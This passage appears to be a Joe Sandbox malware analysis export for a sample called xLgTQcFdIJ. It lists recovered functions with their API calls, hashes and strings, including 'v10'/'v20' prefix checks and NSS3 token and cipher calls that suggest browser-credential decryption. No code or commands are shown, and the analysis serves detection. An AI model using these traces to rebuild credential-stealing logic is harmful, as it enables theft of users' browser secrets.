Opcode Fuzzy Hash: a2256cdb54d5a480941fbff439a5fab9c28263725f1ecdbd9524d1deca488d55
Instruction Fuzzy Hash: 1061B275B012049FDB64CF68DD88A6A77B1FF89328F108538E915AB780DB34ED06CB91

Function 0040A560 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memcmp.MSVCRT(?,v10,00000003), ref: 0040A5D2
memset.MSVCRT ref: 0040A60B
LocalAlloc.KERNEL32(00000040,?), ref: 0040A664

Strings

@, xrefs: 0040A614
v20, xrefs: 0040A571
v10, xrefs: 0040A5C6

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @$v10$v20
API String ID: 631489823-278772428
Opcode ID: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction ID: deead5598e30f73acd49a71965db0b9c26184f2a73657d717c04d8255e3e8135
Opcode Fuzzy Hash: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction Fuzzy Hash: 7C518E30610208EFCB14EFA5DD95FDD7775AF40304F008029F90A6F291DB78AA55CB5A

Function 6C75BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C75BD1E

Part of subcall function 6C732F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C732F0A
Part of subcall function 6C732F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C732F1D

Part of subcall function 6C7757D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C73B41E,00000000,00000000,?,00000000,?,6C73B41E,00000000,00000000,00000001,?), ref: 6C7757E0
Part of subcall function 6C7757D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C775843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C75BD8C

Part of subcall function 6C78FAB0: free.MOZGLUE(?,-00000001,?,?,6C72F673,00000000,00000000), ref: 6C78FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C75BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C75BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C75BE3A

Part of subcall function 6C733E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C733EC2
Part of subcall function 6C733E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C733ED6
Part of subcall function 6C733E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C733EEE
Part of subcall function 6C733E60: PR_CallOnce.NSS3(6C892AA4,6C7912D0), ref: 6C733F02
Part of subcall function 6C733E60: PL_FreeArenaPool.NSS3 ref: 6C733F14
Part of subcall function 6C733E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C733F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C75BE52

Part of subcall function 6C732E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C732CDA,?,00000000), ref: 6C732E1E
Part of subcall function 6C732E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C732E33
Part of subcall function 6C732E00: TlsGetValue.KERNEL32 ref: 6C732E4E
Part of subcall function 6C732E00: EnterCriticalSection.KERNEL32(?), ref: 6C732E5E
Part of subcall function 6C732E00: PL_HashTableLookup.NSS3(?), ref: 6C732E71
Part of subcall function 6C732E00: PL_HashTableRemove.NSS3(?), ref: 6C732E84
Part of subcall function 6C732E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C732E96
Part of subcall function 6C732E00: PR_Unlock.NSS3 ref: 6C732EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75BE61

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: b9862adc8ad8cacb9696d315dbcd484c8f304802efeb6c3d1f999f92de633932
Instruction ID: a0085d7c1225ddd61949bb8f4fe395a1088eac6b1f63ef29165787188bfc4440
Opcode Fuzzy Hash: b9862adc8ad8cacb9696d315dbcd484c8f304802efeb6c3d1f999f92de633932
Instruction Fuzzy Hash: 084105B5A013109FC710CF28DE88A6A77E8EB49718F544068F90897712EB35E914CBD2

Function 6C77AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C77AB3E,?,?,?), ref: 6C77AC35

Part of subcall function 6C75CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C75CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C77AB3E,?,?,?), ref: 6C77AC55

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C77AB3E,?,?), ref: 6C77AC70

Part of subcall function 6C75E300: TlsGetValue.KERNEL32 ref: 6C75E33C
Part of subcall function 6C75E300: EnterCriticalSection.KERNEL32(?), ref: 6C75E350
Part of subcall function 6C75E300: PR_Unlock.NSS3(?), ref: 6C75E5BC
Part of subcall function 6C75E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C75E5CA
Part of subcall function 6C75E300: TlsGetValue.KERNEL32 ref: 6C75E5F2
Part of subcall function 6C75E300: EnterCriticalSection.KERNEL32(?), ref: 6C75E606
Part of subcall function 6C75E300: PORT_Alloc_Util.NSS3(?), ref: 6C75E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C77AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C77AB3E), ref: 6C77ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C77AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C77AD2B

Part of subcall function 6C75F360: TlsGetValue.KERNEL32(00000000,?,6C77A904,?), ref: 6C75F38B
Part of subcall function 6C75F360: EnterCriticalSection.KERNEL32(?,?,?,6C77A904,?), ref: 6C75F3A0
Part of subcall function 6C75F360: PR_Unlock.NSS3(?,?,?,?,6C77A904,?), ref: 6C75F3D3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b36ecfafe3bf441202266c437c28dfcca052ee7d35ed09ad30ce7c6060dccecc
Instruction ID: 53eea7161104e597459bb4d6984dc4d3b0b2c49dfea36347076719c3d278d423
Opcode Fuzzy Hash: b36ecfafe3bf441202266c437c28dfcca052ee7d35ed09ad30ce7c6060dccecc
Instruction Fuzzy Hash: EB312BB1E002096FFF108F698E495AF7766AF84328B188538E8149B741EB31DC15C7B1

Function 6C758C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C758C7C

Part of subcall function 6C7F9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DC6
Part of subcall function 6C7F9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DD1
Part of subcall function 6C7F9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C758CB0
TlsGetValue.KERNEL32 ref: 6C758CD1
EnterCriticalSection.KERNEL32(?), ref: 6C758CE5
PR_Unlock.NSS3(?), ref: 6C758D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C758D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C758D93

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0970a668003606a004b2db19cd6e7399a1eae549d94e1213169282d2fda7924b
Instruction ID: 02dc603d7072536f481e8edb489ad9fdd68ce5a1b1d678feca18afad1b96a8b8
Opcode Fuzzy Hash: 0970a668003606a004b2db19cd6e7399a1eae549d94e1213169282d2fda7924b
Instruction Fuzzy Hash: E4314A71A41301AFE710AF68CE4979AB7B4BF59318F540136EA1557B50DB30B934C7D1

Function 6C799D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C799C5B), ref: 6C799D82

Part of subcall function 6C7914C0: TlsGetValue.KERNEL32 ref: 6C7914E0
Part of subcall function 6C7914C0: EnterCriticalSection.KERNEL32 ref: 6C7914F5
Part of subcall function 6C7914C0: PR_Unlock.NSS3 ref: 6C79150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C799C5B), ref: 6C799DA9

Part of subcall function 6C791340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000,?,6C72F599,?,00000000), ref: 6C79136A
Part of subcall function 6C791340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000,?,6C72F599,?,00000000), ref: 6C79137E
Part of subcall function 6C791340: PL_ArenaGrow.NSS3(?,6C72F599,?,00000000,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000,?,6C72F599,?), ref: 6C7913CF
Part of subcall function 6C791340: PR_Unlock.NSS3(?,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000,?,6C72F599,?,00000000), ref: 6C79145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C799C5B), ref: 6C799DCE

Part of subcall function 6C791340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000,?,6C72F599,?,00000000), ref: 6C7913F0
Part of subcall function 6C791340: PL_ArenaGrow.NSS3(?,6C72F599,?,?,?,00000000,00000000,?,6C73895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C791445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C799C5B), ref: 6C799DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C799C5B), ref: 6C799DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C799C5B), ref: 6C799E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C799C5B), ref: 6C799E91

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

Part of subcall function 6C791560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C78FAAB,00000000), ref: 6C79157E
Part of subcall function 6C791560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C78FAAB,00000000), ref: 6C791592
Part of subcall function 6C791560: memset.VCRUNTIME140(?,00000000,?), ref: 6C791600
Part of subcall function 6C791560: PL_ArenaRelease.NSS3(?,?), ref: 6C791620
Part of subcall function 6C791560: PR_Unlock.NSS3(?), ref: 6C791639

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: d6b412d41f73061cf826f02671444220664dd8287df2362b9db9e1c89e6cc71a
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 624182B5501606AFF740DF15EA44B92BBA9FF55358F148128D8184BFA0EB72E834CF90

Function 6C75DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C75DDEC

Part of subcall function 6C790840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7908B4

PK11_DigestBegin.NSS3(00000000), ref: 6C75DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C75DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C75DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C75DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C75DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75DECC

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 4e1614596c188d78e630a598fde8f2c2df090f2ffa4414138311900a942d4ccd
Instruction ID: 99596ff2e1b2b4f5fabdd69d982ca58312c5dd3c7a3077722fff8ec3465f29db
Opcode Fuzzy Hash: 4e1614596c188d78e630a598fde8f2c2df090f2ffa4414138311900a942d4ccd
Instruction Fuzzy Hash: E131CBB2A002146BEB006F65AF49BBB76A89F64708F450135ED09E7741FF31D924C6E2

Function 6C737E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C737E48

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C737E5B

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C737E7B

Part of subcall function 6C78FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C788D2D,?,00000000,?), ref: 6C78FB85
Part of subcall function 6C78FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C78FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C85925C,?), ref: 6C737E92

Part of subcall function 6C78B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8618D0,?), ref: 6C78B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C737EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C737ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C737EFA

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 989a5e54fc21f33fde3d95f77ee23a612e04b553f61f1318b5d4ec67a3672a0c
Instruction ID: f745850693a5630c5d6faba7a862fcd28be6e7931e12f56ff0c542845c9a6d58
Opcode Fuzzy Hash: 989a5e54fc21f33fde3d95f77ee23a612e04b553f61f1318b5d4ec67a3672a0c
Instruction Fuzzy Hash: 1C31AFB2A41221DBEB108B699F48B5B73ACAF44658F154834DD19EBB42E730EC04C7A1

Function 6C78DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C78D9E4,00000000), ref: 6C78DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C78D9E4,00000000), ref: 6C78DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C78D9E4,00000000), ref: 6C78DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C78DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C78DCAD

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 867320189adacd6a7852fc3e2935f4bb6625f51bf110ca43746fedff59d8df8b
Instruction ID: 5a21ae75d51c41acd7657093951f87e280929dcbac73d09c3b571faa952f3a60
Opcode Fuzzy Hash: 867320189adacd6a7852fc3e2935f4bb6625f51bf110ca43746fedff59d8df8b
Instruction Fuzzy Hash: BF31A1B59022029FD710CF1DD984B96B7F8AF15358F14843AEA4CCBB01E7B1E944CBA5

Function 6C752E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C74E728,?,00000038,?,?,00000000), ref: 6C752E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C752E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C752E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C752E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C752E9E
PR_Unlock.NSS3(?), ref: 6C752EAB
PR_Unlock.NSS3(?), ref: 6C752F0D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 314caab557450088e4daec95993c9db6239d5b865efa9fb03cb67bed9a24d252
Instruction ID: 44b5183a2f11d28c2ab313a948be5fcc70c7156e857ec1a6224efbd61f8c6c96
Opcode Fuzzy Hash: 314caab557450088e4daec95993c9db6239d5b865efa9fb03cb67bed9a24d252
Instruction Fuzzy Hash: 5831D476A00505ABEB01AF28ED4C86AB779EF5525CB448274EC1887B11EB31EC64C7E1

Function 6C748C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C748C1B
EnterCriticalSection.KERNEL32 ref: 6C748C34
PL_ArenaAllocate.NSS3 ref: 6C748C65
PR_Unlock.NSS3 ref: 6C748C9C
PR_Unlock.NSS3 ref: 6C748CB6

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

Strings

KRAM, xrefs: 6C748C8F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: dca67911d3ab69006bdc3aaa4100b88ba8de36bcc54e5ae67176b54bed56ee45
Instruction ID: 3d7f4f88c1e7ebf7bef7db6030f8225b95585203177191cb0cc3ec5f7cecc6c2
Opcode Fuzzy Hash: dca67911d3ab69006bdc3aaa4100b88ba8de36bcc54e5ae67176b54bed56ee45
Instruction Fuzzy Hash: 7F212EB1A056059FD700AF78C588559BBF4FF45308F05C9AAD889CB711EB35D889CBD1

Function 6C7C3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7C5B56

